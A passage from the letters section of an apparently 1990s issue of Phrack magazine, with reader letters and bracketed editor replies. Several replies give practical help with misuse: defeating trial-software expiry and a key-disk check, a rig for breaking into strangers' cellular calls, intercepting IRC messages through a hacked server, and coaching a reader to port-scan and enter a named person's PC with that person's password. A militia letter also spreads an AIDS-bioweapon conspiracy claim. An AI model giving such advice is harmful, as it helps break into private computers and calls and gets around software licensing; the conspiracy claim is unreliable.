  745. how to do it, maybe you know someone that might be able to do it, and
  746. forward my address to them. It is very important to me, because I'm
  747. finishing a home page called Teen Online and my graphic program expired
  748. (TrueSpace2) and there is no way that I can afford it, so I rather stick
  749. to trial version. Ok... Thanks for your time.=20
  750.                         Konrad
  751.  
  752. [ Usually you can simply reinstall these trial programs and use them
  753.   for another 30 days.  With others, you can change your system date
  754.   back, or edit a date in an INI file.  It all depends on the program.
  755.   Try some of these things and let us know what works. ]
  756.  
  757. -----------------------------------------------------------------------------
  758.  
  759. Why don't you write somthing for the bulgarian hackers?
  760. (recent:take a look at everything that happened in Varna, Bulgaria this=
  761.  year)
  762.  
  763. M a n i a X    K i l l e r i a n
  764.  
  765. [ We'd love to print something about the Bulgarian scene.  Honestly,
  766.   I have no idea what happened in Varna, nor would I know where to look.
  767.  
  768.   Here's a novel idea:  Since you are IN Bulgaria, why don't you
  769.   write something about it for us! ]
  770.  
  771. -----------------------------------------------------------------------------
  772.  
  773. I'm using BPI Accounts Receviable System Version 1.10 for IBM
  774. Released September 1983
  775.  
  776. It has whats called a "key disk" that allows only the person with that
  777. disk to closeout the program or month. The problem is this, when I make
  778. a copy of this Key Disk the files match the original to the T.. There are
  779. only 2 files involved.  But, when I try to closeout, BPI asks me to insert
  780. the Key Disk and press enter to proceed.  When I do this with the "copy"
  781. of the Key Disk the BPI program tells me that the copy is not a Key Disk.
  782. This only happens with the copy, any ideas?=20
  783.  
  784. Both Key Disks contain the same information.  If I try to activate the
  785. close directly from the Key Disk Copy it tells me that it can't find a
  786. file, basrun.exe I checked and this file is part of the BPI Directory on C:
  787. I've used this accounting software for many years and it works well.
  788. But I'm afraid the good Key Disk may go bad one day and I'll be stuck.
  789. Thats why I'm trying to make a copy.  Any help would be appreciated.
  790.  
  791. [ Obviously there is something else on that disk that a normal copy
  792.   is not getting.  Maybe something as simple as a volume label or
  793.   some hidden files.
  794.  
  795.   The easiest thing to do to get around this is make a sector by sector copy
  796.   to a disk image file using some kind of program like the UNIX command "dd"
  797.   and then copy that image back onto a blank diskette. ]
  798.  
  799. -----------------------------------------------------------------------------
  800.  
  801. Hi!
  802.  
  803. Here I have something for you, which may be interesting in your news=
  804.  section.
  805.  
  806. Sometime during the night between Saturday April 5th and Sunday April 6th,
  807. hackers broke into one of Telenor Nextel's webservers and deleted the=
  808.  homepages
  809. of 11.000 private customers and 70 corporate customers, among them the=
  810.  homepages
  811. of Norway's two largest newpapers VG and Dagbladet, and the largest online=
  812.  news
  813. magazine, Nettavisen.
  814.  
  815. The hackers somehow got access to hidden scripts, and after modifying and
  816. manipulating them ran them, thereby deleting all the files mentioned.
  817.  
  818. Early Sunday, the ISP Telenor Nextel started restoring files from a backup=
  819.  made
  820. Saturday, but after encountering problems with that one, they had to restore
  821. from Tuesday's backup. Saturday's backup will be added sometime during=
  822.  Monday.
  823. =D8kokrim, Norwegian police's department for Economic Crime has been=
  824.  contacted.
  825. =09
  826. Reactions:
  827.  
  828. Sverre Holm of Norway's Organization for Internet Users (http://www.ibio.no)
  829. criticize Telenor for lack of proper information, as well as an unhealthy
  830. attitude. In response to Telenor's comment that they can't guarantee this=
  831.  won't
  832. happen again, he says, "Such an attitude can't be tolerated. If this is what
  833. Telenor means, then we have a serious problem here."
  834.  
  835. Other reactions will surely come in the next days.
  836.  
  837. References (all in Norwegian):
  838.  
  839. Telenor Internett:
  840.    http://internett.telenor.no/
  841. Scandinavia Online:
  842.    http://www.sol.no/      (Telenor's online service)
  843. SOL Direkte:
  844.    http://www.sol.no/snpub/SNDirekte/index.cgi?kategori=3DNett-Nytt
  845. Nettavisen:
  846.    http://www.nettavisen.no/Innenriks/860330846.html
  847.  
  848. I hope this could be interesting to you, and a candidate for your news flash
  849. pages. Unfortunately, any references included are to pages in Norwegian, but
  850. anyone with you speaking either Norwegian, Swedish, or Danish should be able=
  851.  to
  852. get more information.
  853.  
  854. Cheers,
  855. O L I K
  856.  
  857. [ We here at Phrack always want to know what is going on out there on
  858.   planet Earth.  Keep us informed of anty other developments! ]
  859.  
  860.  
  861. -----------------------------------------------------------------------------
  862.  
  863.  
  864. I'm investigating some informatic viruses who infect images generating
  865. new fractalized images with a never seen beauty and singularity. Or may=20
  866. be they investigate me. These viruses could broke sohemer in many diverse=20
  867. disciplines like art, artificial life, fractals maths, digital image..=20
  868. if you look web's images http://antaviana.com/virus/angles.htm you will=20
  869. understand everything. I would be acknowledged if you could help me, and=20
  870. it is posible i would like you to diffusse this subject in your interesting
  871. publication.
  872.  
  873. In the name of biodiversity, if you have these VIRUSES,
  874. PLEASE DON'T DISTROY THEM.
  875.  
  876. [ Ok.  We won't. ]
  877.  
  878.  
  879. -----------------------------------------------------------------------------
  880.  
  881.  
  882. Hi !
  883.  
  884. I read In Volume Seven, Issue Forty-Eight, File 11 of 18 - How to make own
  885. telephon card . But when i try to make it , this card didnt work !  I try
  886. all things, and  i try to find more informations about telephone cards, but
  887. i still dont know what's wrong !
  888. But today i found on http://www.hut.fi/~then/electronics/smartcards.html
  889. that there is some errors, but there is no information what's wrong.=20
  890. So i decidet to write to Phrack magazine , becouse in article is eriten to
  891. mail all questions to Phrack....=20
  892. Please send me info what is wrong, and how i must change the ASM program to
  893. work correctly or just PLEASE send me email of contact person who knows how
  894. to !!
  895.  
  896. Thanx in advance !
  897.  
  898. Marko
  899.  
  900. [ Obviously that little smartcard article caused a stir.  We've got all=
  901.  kinds
  902.   of email about it.  We'll see what more we can dig up, but we are going
  903.   to really need some help from Europeans and South Americans.  (Smart
  904.   cards are not in use here in America!) ]
  905.  
  906.  
  907. -----------------------------------------------------------------------------
  908.  
  909.  
  910. LOA is back!!! Visit our new page at:
  911.  
  912. http://www.hackers.com/LOA
  913.  
  914. Check it out and be sure to send your comments to revelation@hackers.com
  915. Volume 2 of The Ultimate Beginner's Guide To Hacking And Phreaking has been
  916. released as well, so be sure to download it and send me your comments. Be
  917. sure to check out the LOA Files section to view and download past, present,
  918. and future LOA Projects. Take it easy all...
  919.  
  920. [ No offense intended, but did you ever wonder why there were so many
  921.   "Legions of" whatever after LOD?
  922.  
  923.   We'll put a link up to your page though... ]
  924.  
  925.  
  926. -----------------------------------------------------------------------------
  927.  
  928.  
  929. Hey, did you know that Juno (the nationwide free email service) has PPP
  930. access? Free? To superusers only? Who login directly to their terminals
  931. that have no ANI? And that they are complete fucking idiots, because in
  932. every juno.ini file buried deep in the /juno/user00000x/ directory there is
  933. a section called "Variables" which lists at least one Juno server account,
  934. i.e. "junox14" and a password for it. These work. Not that I've tried them,
  935. or do this, or can be held in any way legally responsible for my non-PGP
  936. encrypted actions, which do not show my views, and are protected under the
  937. 1st Amendment.
  938.  
  939. Sorry, didn't feel like using alternate caps today.
  940.  
  941. l8r,
  942.  
  943. -dArkl0rd-
  944.  
  945. [ Interesting.  We'll have to get the Juno software and play
  946.   without the advertisements!
  947.  
  948.   Thanks, Mr. Shaw ]
  949.  
  950.  
  951. -----------------------------------------------------------------------------
  952.  
  953.  
  954. Hi. I've got a strange request. We're putting together a case that
  955. encourages the U.S. to loosen its encryption export policies.
  956.  
  957. Do you know of any written resources that discuss the ability of hackers
  958. to break into NASA, tamper with launches or satellites? The folks at
  959. infowar.com insist that it is possible, but say that confidentiality
  960. won't allow them to publish that fact.
  961.  
  962. We need written evidence to document the case, you understand.
  963.  
  964. Anyway, I'd appreciate hearing from you.
  965.  
  966. Jonathan
  967.  
  968. [ I'd suggest you talk to Emmanuel Goldstein at 2600.  The whole
  969.   satellite thing came from a bogus post back in the early 80's
  970.   on a BBS in New Jersey called "The Private Sector."  Reporters
  971.   siezed on it, resulting in headlines like "Wiz Kids Zap Satellites."
  972.  
  973.   2600 wrote about this in I believe 1984 or 1985.  Check with them for
  974.   better details.  ]
  975.  
  976.  
  977. -----------------------------------------------------------------------------
  978.  
  979. Queridos crackeadores:
  980.  
  981. Les quiero pedir si no saben de donde puedo sacar programas para
  982. crackear y phrackear.
  983. =20
  984. Desde ya mucahas gracias:
  985. Mauricio
  986.  
  987. [ Existan muchos programas en sitos de FTP y WWW en todos los piases
  988.   del mundo.  No sabes de donde puedes sacarlos?  Compredes
  989.   "Webcrawler" o "Excite"?  Dios mio.  ]
  990.  
  991. -----------------------------------------------------------------------------
  992.  
  993. Hi Phrack;
  994.  
  995. Intro to Telephony and PBX systems in Phrack#49 was excellent, pulled a=20
  996. lot of things together for me.  That's probably the clearest, most=20
  997. concise explanation of the phone system that I've ever read.  Hopefully=20
  998. Cavalier will be up for many more articles like that in the future.
  999.  
  1000. respects,
  1001. jake
  1002.  
  1003. [ Thanks!  Hopefully we can continue have more telephony related articles
  1004.   in the future.  It is fast becoming a lost art in today's hacker
  1005.   community. ]
  1006.  
  1007. -----------------------------------------------------------------------------
  1008.  
  1009.  
  1010. hey.. a Note To Say, 1-Greetings From IreLand..
  1011.              2-Thanks A million.. I love Phrack..
  1012.              3-Where Is The NexT Issue.. Whats up doc..=20
  1013.              4-do ya have info/schematics on the shit that allows one
  1014.                to break into cellfone conversation and chat briefly
  1015.                to callers, as described in winn schwartaus excellent
  1016.                article on Defcon ][ ?Cellfone
  1017.              5-Is Phrack on a Mailing List?? if so, Can ya Stick me
  1018.                On it?
  1019. Many ThanKs
  1020. NasTy Nigel,
  1021. [PhreaK PowEr]
  1022.  
  1023. [ 1. Greetings to you too gobshite!
  1024.   2. Thanks!
  1025.   3. You're reading it.
  1026.   4. Not that I was in the room making those calls mentioned
  1027.      in that article or anything, but...  :)
  1028.      An Oki-900 with CTEK cable hooked to a PC running omnicell tracking
  1029.      calls.  A motorola brick phone in debug mode, hooked to a 25db gain
  1030.      yagi antenna (on a tripod) pointed out the window.  As Omnicell locked
  1031.      in on interesting calls, the Motorola was tuned to the corresponding
  1032.      channel, Tx Audio turned on, various humorous interrupts were uttered,
  1033.      and Tx Audio turned off so the party being "contacted" wouldn't be
  1034.      thrown off their cell channel by our more powerful broadcast.
  1035.      Very simple.
  1036.   5. The mailing list now is so huge that it will only serve to let people
  1037.      know when issues are going out, special bulletins, etc.  Mailing out
  1038.      a meg to almost 30,000 people causes serious problems to the Internet,
  1039.      so we decided to make the change. ]
  1040.  
  1041. -----------------------------------------------------------------------------
  1042.  
  1043. I just wanted to drop a line and say that you guys are doing a great job
  1044. with the zine. I just got issue 49 and I'm looking forward to reading it.
  1045. I'm sure you've heard of The Works, the bbs with the most text files in the
  1046. US. Well, it's finally back online, after six months in the gutter. For the
  1047. best text files and the coolest users east of the Mississippi, call us up.
  1048. +1 617 262 6444. You can't go wrong with the Works. We want you to call.
  1049.  
  1050. [ It's amazing that BBSes like The Works are still around, even with a bit
  1051.   of down time.  What's it been?  10 years?  Geez.
  1052.  
  1053.   You're approaching the longevity of Demon Roach or P-80. ]
  1054.  
  1055. -----------------------------------------------------------------------------
  1056.  
  1057. I'm doing research on hackers for my LIB 105 class and have come across
  1058. some of what I guess is tech speak or jargon. I've noticed that the
  1059. letters 'PH' are frequently used to intentionaly mispell the words
  1060. phreak, lopht, and in Phrak Magazine. Is there a reason behind all of
  1061. these PHunny spellings?
  1062.  
  1063. [ Uh, PH as in Phone.  From the old Phone "Phreak" subculture of the
  1064.   late 60's, early 70's.]
  1065.  
  1066. -----------------------------------------------------------------------------
  1067.  
  1068.  
  1069. I think a great idea for a future article would be how to make a decoder
  1070. card for a DSS sattelite reciever with some easy commercial stuff and a
  1071. cmos Z-80 I.C. ...
  1072.  
  1073. [ If it were that easy, there would be a bigger number of players in the
  1074.   billion dollar industry of satellite piracy.  A key figure in that
  1075.   closed community once told me that it cost them about $1,000,000 US to
  1076.   crack each new rev of smart card.  (But when you figure that means only
  1077.   selling 10000 pirate cards at 100 bucks, the cost of doing business
  1078.   is minimal, compared to the cost of the service provider sending out
  1079.   new software and cards to each subscriber.) ]
  1080.  
  1081.  
  1082. -----------------------------------------------------------------------------
  1083.  
  1084. Hi, I am a Primestar installer, I was wondering if you knew anything about
  1085. how to stop Primestar from de-authorizing their unused IRD's? I know of 2
  1086. installation screens accessable through the password screen using #'s 996 &
  1087. 114, do you know of any others? I would appreciate any info you might have.
  1088.  
  1089. Thanks,
  1090.  
  1091. [ And Phrack would appreciate ANY info you have!  ANYTHING!  EVERYTHING!
  1092.   As an installer, you probably have some insights into the cards/recievers
  1093.   that we don't.  Write them up! ]
  1094.  
  1095.  
  1096. -----------------------------------------------------------------------------
  1097.  
  1098. For certain reasons, some people may want to create a new anonymous mail
  1099. box. Did they considered to create it in France?
  1100. A lot of IPS offer the possibility to create mailboxes to those who have
  1101. no computers by using a primitive look-alike telnet system: the French
  1102. Minitel. This is convenient because a couple millions of Minitel have
  1103. been freely distributed in France during the last ten years. The only
  1104. cost is that an overcharge is billed to your phone bill of approx
  1105. 35cents per minute. But this is perfectly legal and hard to trace back.
  1106. Hyperterminal (at least in its french version) emulates the french
  1107. minitel.
  1108.  
  1109. The only thing is to dial 3615 in France and use one of this server:
  1110. ABCNET, ACENET, ADNET, ALTERN,FASTNET,EMAIL...
  1111. For example, EMAIL creates an e-mail adresse like:
  1112. pseudonym@xmail.org.
  1113.  
  1114. The only thing is that you have to know a little bit of French to use
  1115. it, but just a little bit.  The cost of a call (International and
  1116. Minitel overcharge) should not be a problem to some of you.
  1117. LeFrenchie
  1118.  
  1119. [ This is a good idea.  People outside of France don't know much about
  1120.   Minitel, (Or any videotext systems) since they failed in a big way
  1121.   here in the states and most other countries.  Many old hackers might
  1122.   remember some of the Minitel Chat systems also accessible over X.25 such
  1123.   as QSD (208057040540), but without emulation software wouldn't have
  1124.   ever had access to the real Minitel. ]
  1125.  
  1126.  
  1127. -----------------------------------------------------------------------------
  1128.  
  1129. Two questions
  1130.  
  1131. 1 How can I connect to an IRC server though a firewall?
  1132. 2 How can I intercept messages sent to chanserv and nickserv on Dal.net?
  1133.  
  1134. Thank you.
  1135.  
  1136. [ 1. Open up ports 6665-6667
  1137.   2. Set up a hacked IRC server.  Get someone important to add it to the
  1138.      EFNET server hierarchy.  Look for PRIVMSG to whomever you want. ]
  1139.  
  1140. -----------------------------------------------------------------------------
  1141.  
  1142. Hello,
  1143.     A modem has a light buffer between the copper wires of the
  1144.     telephone line and the rest of the copper printed circuit ( mother)
  1145.     board. How ( or does) does a firewall prevent hacks on a system or
  1146.     is this just a matter of Modern (Mastodon) buffalo hunting: They
  1147.     go down the same big or small. Specifically , beyond smart self
  1148.     learning systems can a server realy prevent  contamination without
  1149.     the intervention of beings? My sister a suposed Webmistress says
  1150.     there are intervening buffers, I still see that between what ever,
  1151.     there is a very big freaking leap of faith..
  1152.                                              Senor Please Elucidate
  1153. Richard
  1154.  
  1155. [ Uh, if you think the "firewall" is that light buffer between the wires,
  1156.   then you have missed the point.  A firewall in the networking context is
  1157.   not the same as the metal firewall in your automobile....it is merely
  1158.   a metaphor that has been adopted as the term d'jour.
  1159.  
  1160.   Please read:  Building Internet Firewalls by Brent Chapman &
  1161.   Elizabeth Zwicky or Firewalls & Internet Security by Cheswick & Bellovin ]
  1162.  
  1163.  
  1164. -----------------------------------------------------------------------------
  1165.  
  1166.  
  1167. > Drop us a line on what you think of 49.  Comments are encouraged.
  1168.  
  1169. I think issue 49 was great, not to mention getting it out on time. I do have
  1170. a suggestion though. The past few issues of Phrack have focused mainly on=20
  1171. UNIX and not much else. I think UNIX is a great OS, but it would be cool if
  1172. occasionally you would print a few articles about other systems. I would=20
  1173. write one myself but right now I don't have anything new to contribute.=20
  1174.  
  1175. Later,
  1176. Tetbrac
  1177.  
  1178. [ This has been a request for a long time.  Hopefully we'll get some
  1179.   articles on other operating systems some day.  Personally, I'd like
  1180.   to see VMS, MVS and OS-400.  Any takers?  ]
  1181.  
  1182.  
  1183. -----------------------------------------------------------------------------
  1184.  
  1185. I just finished reading issue 48, and congratulate you on some excellent
  1186. techinical articles.  I have only one (rather insignificant) comment:
  1187. within the article #13 on project neptune, it was stated:  "[the urgent
  1188. pointer] is TCP's way of implementing out of band (OOB) data."  Actually,
  1189. URG pointers are in band (specification-wise), however most (but not all)
  1190. TCP implementations map the URG flag to out of band.  While this point is
  1191. irrelevant to SYN flooding, I thought I would present it in case anyone who
  1192. read the article is interested in pursuing any nuts & bolts transport layer
  1193. implementations.  Keep up the good work, and keep turning out more of this
  1194. kind of technical information.
  1195.  
  1196. ammit-thoth
  1197.  
  1198. [ Point noted.  Thanks! ]
  1199.  
  1200.  
  1201. -----------------------------------------------------------------------------
  1202.  
  1203. Listen... you've probably been noticing that I've mailed you guys a
  1204. couple times asking for help with hacking. Before I have never recieved
  1205. any mail back. You have got to please mail me back this time. I found
  1206. something on accident that is really out of my league. You guys are the
  1207. best I know of that might be able to help me. I really need your help on
  1208. this one. I was fucken around on Telnet just typing in numbers in the
  1209. Chicago area code. On accident I typed in numbers and I entered a NASA
  1210. Packet Switching System ( NPSS). It said it was a government computer
  1211. system and to leave right away. Please mail me back for the numbers. I
  1212. need your help to get into this system.... I need yer help.
  1213.  
  1214. [ Let me guess, you typed the prefix 321 instead of 312 while playing
  1215.   on Telenet.  The systems you'll find on that prefix have been hacked
  1216.   at for nearly two decades now.  Systems on the network were targeted
  1217.   in the 80's by Germany's Chaos Computer Club, and I personally know
  1218.   they have been poked at by groups in the US, UK and Australia
  1219.   starting back in 1981.
  1220.  
  1221.   What I'm trying to say is, after so many years of people beating on the
  1222.   same few systems, shouldn't you look for something a bit less stale? ]
  1223.  
  1224.  
  1225. -----------------------------------------------------------------------------
  1226.  
  1227. Dear phrack,
  1228.  
  1229. I want to be added to the list. I was also wondering if you had ay
  1230. publications or information on TEMPEST monitoring? Also know as Van Eck
  1231. monitoring.
  1232.  
  1233. [ We published a Dr. Moeller's paper continuing on Van Eck's work
  1234.   in Phrack issue 44.
  1235.  
  1236.   You might also want to check out http://www.thecodex.com
  1237.   for a self-contained anti-tempest terminal for about 10K. ]
  1238.  
  1239.  
  1240. -----------------------------------------------------------------------------
  1241.  
  1242. I just read your editorial in Phrack 48 and I feel like giving you my two=
  1243.  cents
  1244. worth.  I think you did an excellent critique on the "scene."  As a person
  1245. who has been watching for a while, and as a person who has been through it,
  1246. I found it nice, to say the least, to find others who actually seem to have
  1247. their head on straight.  This letter was originally much longer, but I
  1248. shortened it because I think you get the point.
  1249.  
  1250. I started programming computers in 1983 at the age of 6.  I was running
  1251. DOS 2.0 and I had a blazing fast 1200 baud modem.  At the time, I had
  1252. no mentors, no teachers, no friends that could teach me how to use that
  1253. incredible machine.  The books of the time were cryptic, especially for an
  1254. age where most children could not read, much less program.  But I did my=
  1255.  best.
  1256. Ten years later, I was still on my own.
  1257.  
  1258. I didn't get ahold of a copy of Phrack until 1991.  I thought it was really
  1259. cool that people like me would get together and exchange infomation, talk
  1260. computers, etc.
  1261.  
  1262. In '94, I got into viruses and prolly was one of the better independant
  1263. (i.e. not in a group) writers.  It was about that time I got onto IRC.
  1264. Most of the time I would hang out in #virus, but every now and then I
  1265. would pop into #hack.  I never stayed...I couldn't stand the arrogance.
  1266.  
  1267. Shortly before I went to school, I was in competition for control of a
  1268. new freenet versus a local hacker group.  A month after I went to college,
  1269. that group got busted.  I got lucky.
  1270.  
  1271. Earlier this year, I went on Good Morning America to talk about viruses.
  1272. Looking back, it is prolly the single dumbest thing I have done in my
  1273. whole life.
  1274.  
  1275. As much as I wanted to, I've never been to a 2600 meeting, never been to
  1276. a Con.  Never really had any hacker friends.  It's always been just me.
  1277. I'm sure I know less about breaking into computers than the guy who has
  1278. been doing it for a week but has access to tons of partners.  But I still
  1279. consider myself a hacker.  My interest has been one of learning about the
  1280. system.  I've been learning longer than most.  I rarely break into
  1281. a system.  I have access to unix systems, and even a VAX.  I don't want
  1282. the latest hacking tools.  I write my own, with my theories.  I don't
  1283. need much else.  But I've never had anyone to share it with.  But I think I
  1284. realize that the past is the past, and I won't ever get to attend the old
  1285. cons or sit on conference calls, as much as I'd love to.  I won't bother
  1286. with the latest cons because I can get the same stuff at a college party.
  1287.  
  1288. Well, that is about it.  I apologize if it is poorly written.  Bad english
  1289. skills :)  I hate writing these because I grow tired of getting slammed
  1290. by some arrogant asshole.  Thats prolly why I have been doing this alone
  1291. for 13 years.  After your editorial, I wonder how many people will stop
  1292. showing up at the cons...I hate the isolation, but I would never want to
  1293. be a part of a "scene" which has turned from mature goals to juvenile
  1294. ones.  Just my thoughts...
  1295.  
  1296. Evil Avatar
  1297.  
  1298. [ Actually, I have more respect for the people who continue to stay in the
  1299.   fringes, learning on their own rather than scurrying for attention
  1300.   in the media and in the community.  (Yes, like me.)
  1301.  
  1302.   To be fair though, don't sell yourself short by avoiding Cons if you
  1303.   really want to check them out.  Despite all the ranting I did in that
  1304.   editorial, I still have many friends in the community and enjoy
  1305.   meeting new ones at conferences.  Not everyone thinks it is cool
  1306.   to trash a hotel, or to try to out "elite" one another.  Unfortunately,
  1307.   the loudest and most visible people at such events tend to be the
  1308.   most juvenile.  If you find this happening, do what I do:  get the
  1309.   hell out of the conference area and find a convenient bar.  The older
  1310.   hackers will eventually find you there, and you can all drink in peace
  1311.   and actually talk unmolested. ]
  1312.  
  1313. -----------------------------------------------------------------------------
  1314.  
  1315.  
  1316. Dear Phrack --
  1317.  
  1318. Been a reader since the 80s, and I'm one of the originals... Would like
  1319. to submit a poem that I wrote that details the experience of a hacker
  1320. who left the scene for several years -- Coming back to find it in utter
  1321. Dissaray... Definitely not the way he left it... Well -- You guys will
  1322. let me know what you think
  1323.  
  1324. "Where Have All The Hackers Gone"?
  1325. ----------------------------------
  1326.  
  1327. Original Poetry by: Jump'n Jack Flash -916-
  1328.  
  1329.  
  1330. On a cold night in the dead of winter a soul stumbles into #hack and asks:
  1331. 'Where have all the Hackers Gone?'
  1332.  
  1333. Immediately the group recognizes him as one of the originals.
  1334.  
  1335. 'Help us change our grades!' a voice calls out from the huddled masses.
  1336. 'Help me hack root on a NYNEX system!' another voice asks.
  1337.  
  1338. The soul clutches his bowed head and covers his ears, trying to remember
  1339. back to before he involuntarily left the scene a few years ago.
  1340.  
  1341. 'The only thing that kept me sane while I was imprisioned was the
  1342. thought of seeing my friends and fellow hackers, now I demand you tell
  1343. me Where Have All The Hackers Gone?' the soul begs the crowd of jubulent
  1344. newbies.
  1345.  
  1346. Silence is the only answer he receives,
  1347. For there are no real hackers here.
  1348.  
  1349. Then a voice speaks up and says,
  1350. 'They're gone! You're the first we've seen!'
  1351. The soul asks,
  1352. 'What do you mean?'
  1353.  
  1354. And Silence is the only answer he receives,
  1355. For there are now real hackers here.
  1356.  
  1357. And like a wall crumbling down it comes to him and he falls to his knees,
  1358. like hunting for human life after a Nuclear war he stumbles out of the room,
  1359. And he hurries to the place where only the Elite could go just a few years=
  1360.  ago,
  1361. But when he arrives he is shocked and amazed,
  1362. There are no hackers here on this dark winter day.
  1363.  
  1364. And he stumbles into traffic,
  1365. feeling the snow crunch beneath his feet,
  1366. and he shouts into the night for the elite,
  1367.  
  1368. 'Where Have All The Hackers Gone?'
  1369.  
  1370. And Silence is the only answer he receives,
  1371. For there are no real hackers here.
  1372.  
  1373. [ Nice poem man...thanks!
  1374.  
  1375.   Where did the hackers go?  They grew up and got real jobs... ]
  1376.  
  1377. -----------------------------------------------------------------------------
  1378.  
  1379. I'd love to say that I'll miss Erik, but after that obnoxious, immature
  1380. rant, all I can say is good riddance. Now maybe Phrack will be useful
  1381. again.
  1382.  
  1383. [ Well, I guess not everyone agrees with me, which is a good thing.
  1384.   But, uh, I'm not gone man...just narrowing my duties...so fuck you. :) ]
  1385.  
  1386. -----------------------------------------------------------------------------
  1387.  
  1388.  
  1389. '' WARNING ''
  1390. COVERT EXTERMINATION OF THE POPULATION. !!!=20
  1391. THE UNITED NATIONS=3DNEW WORLD ORDER HAS TURNED AMERICA  INTO  A
  1392. EXTERMINATION CAMP. THE PENTAGON GERM  '' AIDS ''  WAS CREATED
  1393. AT A GERM WARFARE LAB AT FT, DETRICK, MD.  AIDS AND CANCER CELLS
  1394. ARE BEING INJECTED INTO PEOPLE UNKNOWING UNDER THE GUISE OF VACCINES
  1395. AND SOME PHARMACEUTICALS.
  1396.  
  1397. SOMETIMES THE TRUTH IS SO UGLY WE DO NOT WANT TO BELIEVE IT. !!
  1398. AND IF WE DO NOTHING, THEN WE DESERVE IT. !
  1399. BELIEVE IT OR NOT.  DISTRIBUTE WIDELY.
  1400. '' HACK OR CRACK THE  UNITED NATIONS =3D NEW WORLD ORDER. ''
  1401. LONG LIVE THE POWER THROUGH RESISTANCE.'' !!!
  1402.  
  1403. SONS  OF  LIBERTY  MILITIA
  1404. 312  S.  WYOMISSING,  AVE.
  1405. SHILLINGTON,  PA.  19607    U.S.A.
  1406. 610-775-0497  GERONIMO@WEBTV.NET
  1407.  
  1408. [ It's about time we got some mail from some kind of Militia-types!
  1409.   Let's all arm up to prepare for the revolution!  A healthy dose
  1410.   of AK-47's and PGP will save us all from the ZOG hordes when the
  1411.   balloon goes up.
  1412.  
  1413.   Hey, have you guys read the Turner Diaries by Andrew Macdonald?
  1414.   Get it from Barricade Books, 150 5th Ave, NY, NY 10011.
  1415.  
  1416.   Ahem.  ]
  1417.  
  1418. -----------------------------------------------------------------------------
  1419.  
  1420. i want a credit card generator
  1421.  
  1422. [I want a pony]
  1423.  
  1424. -----------------------------------------------------------------------------
  1425.  
  1426. Hello !!!
  1427.  
  1428. I just read in P48-02 the letter of the russian subscriber who tells you=20
  1429. (the editors) the story about the FAPSI and they plan to order all=20
  1430. ISPs to provide for a possibilty for them to read all the mail.
  1431.  
  1432. In the editor's note below that you say that you fear your country (I assume
  1433. it's the USA) is also heading towards that goal.=20
  1434.  
  1435. Well, I live in Germany, and it has already happened here. That means,=20
  1436. every ISP (and this is not the exact term, as it also includes all sorts
  1437. of information providers, ie telephone companies - but excludes=20
  1438. private BBSs, I believe) are forced to provide a method that not only
  1439. - Allows the government/police to read everything that is written but also
  1440. - Without even the ISP noticing it (though I don't know how this would=20
  1441.   be ensured, technically).
  1442.  =20
  1443. OK, this is not the same as in Russia, as they don't copy ALL the mail and=
  1444. =20
  1445. news, but only that of persons suspected of a crime strong enough=20
  1446. to allow it, ie it's the same thing that's needed to open people's=20
  1447. mails. Still, I feel it's certainly a step in the wrong direction.
  1448.  
  1449. Note that cryptography is not (yet ?) forbidden in de.
  1450.  =20
  1451. Regards,=20
  1452. =20
  1453. Thomas=20
  1454.  
  1455. [ Germany?  Governmental rights violations?  Say It isn't so!  Should I get=
  1456.  my
  1457.   brown shirt out of the closet for my next visit to Berlin?  :)  ]
  1458.  
  1459. -----------------------------------------------------------------------------
  1460.  
  1461.  
  1462. Hello, I want to be a hacker and  I need some help.  I have read
  1463. countless reports on UNIX, VMS, and all that other jazz but that still
  1464. doesn't help me with my problem.
  1465.  
  1466. I want to be able to hack into someone's home PC from my own home.  Now,
  1467. most PC's aren't   capable of doing this but, this person has a
  1468. connection on the internet and is also linked to his work in LONDON,
  1469. ONTARIO at a place called IAPA.  (industrial accident prevention
  1470. association)  Anyway, he runs WINDOWS 95' and is using NETCOM.  Now I
  1471. know his password if that does me any good, but how do I go about doing
  1472. this?
  1473.  
  1474. SHAOULIN
  1475.  
  1476. [ When you say "I want to hack his home PC" what do you mean?
  1477.  
  1478.   Just because he uses NETCOM, that doesn't mean you can find him.  He is
  1479.   probably being assigned a dynamic IP address each time he calls in to the
  1480.   network.  Even so, let's say you can discern his IP address.  Even if
  1481.   a computer is hooked into the Internet, it is only as insecure
  1482.   as the services it offers to the world.
  1483.  
  1484.   If your friend is running Windows 95, then you may only be limited
  1485.   to attacking any SMB-style shared directories or perhaps via FTP.
  1486.   In either case, if you know this person's password, then you can
  1487.   probably read/write anything you want to on their system.
  1488.   Run a port scanner against it and see what you can access, and
  1489.   plan based on that. ]
  1490.  
  1491. -----------------------------------------------------------------------------
  1492.  
  1493. This message was sent to you by NaughtyRobot, an Internet spider that
  1494. crawls into your server through a tiny hole in the World Wide Web.
  1495.  =20
  1496. NaughtyRobot exploits a security bug in HTTP and has visited your host
  1497. system to collect personal, private, and sensitive information.
  1498.  =20
  1499. It has captured your Email and physical addresses, as well as your phone
  1500. and credit card numbers.  To protect yourself against the misuse of this
  1501. information, do the following:
  1502.  =20
  1503.     1. alert your server SysOp,
  1504.     2. contact your local police,
  1505.     3. disconnect your telephone, and
  1506.     4. report your credit cards as lost.
  1507.  =20
  1508. Act at once.  Remember: only YOU can prevent DATA fires.
  1509.  =20
  1510. This has been a public service announcement from the makers of
  1511. NaughtyRobot -- CarJacking its way onto the Information SuperHighway.
  1512.  
  1513. [ Funny, my phone isn't ringing, and my credit is still only as screwed up
  1514.   as it was when I got through with it. ]
  1515.  
  1516. -----------------------------------------------------------------------------
  1517.  
  1518. Hi
  1519.  
  1520. I'm looking for some cellular pheaking information
  1521. but  is verry hard to find god information
  1522. can giveme something to work on???    :-)
  1523.  
  1524. [ The best site going is Dr. Who's Radiophone site at:
  1525.  
  1526.   http://www.l0pht.com/radiophone ]
  1527.  
  1528. -----------------------------------------------------------------------------
  1529.  
  1530. I just have a question to ask.  How would I bypass Surfwatch so that I
  1531. can go into web sites that I would like to see?
  1532.  
  1533. [ It is very easy to bypass SurfWatch.  Stop using Mommy & Daddy's computer
  1534.   and buy one of your own. ]
  1535.  
  1536. -----------------------------------------------------------------------------
  1537.  
  1538. i was recently using A-Dial a couple of months ago, and came up with about
  1539. 10 or 12 different numbers starting at 475-1072. Curious about this, I
  1540. called one back, using a mini-terminal. What I expected wasn't this. What
  1541. it said is in the file attached to the letter. It says the same thing with
  1542. all of the numbers. I could use some info on what the hell this is, because
  1543. I never heard of Annex. Thanx.
  1544.  
  1545. Data Case
  1546.  
  1547. [ What you have connected into is more than likely a kind of terminal
  1548.   server.  From there you can usually enter a system name to connect
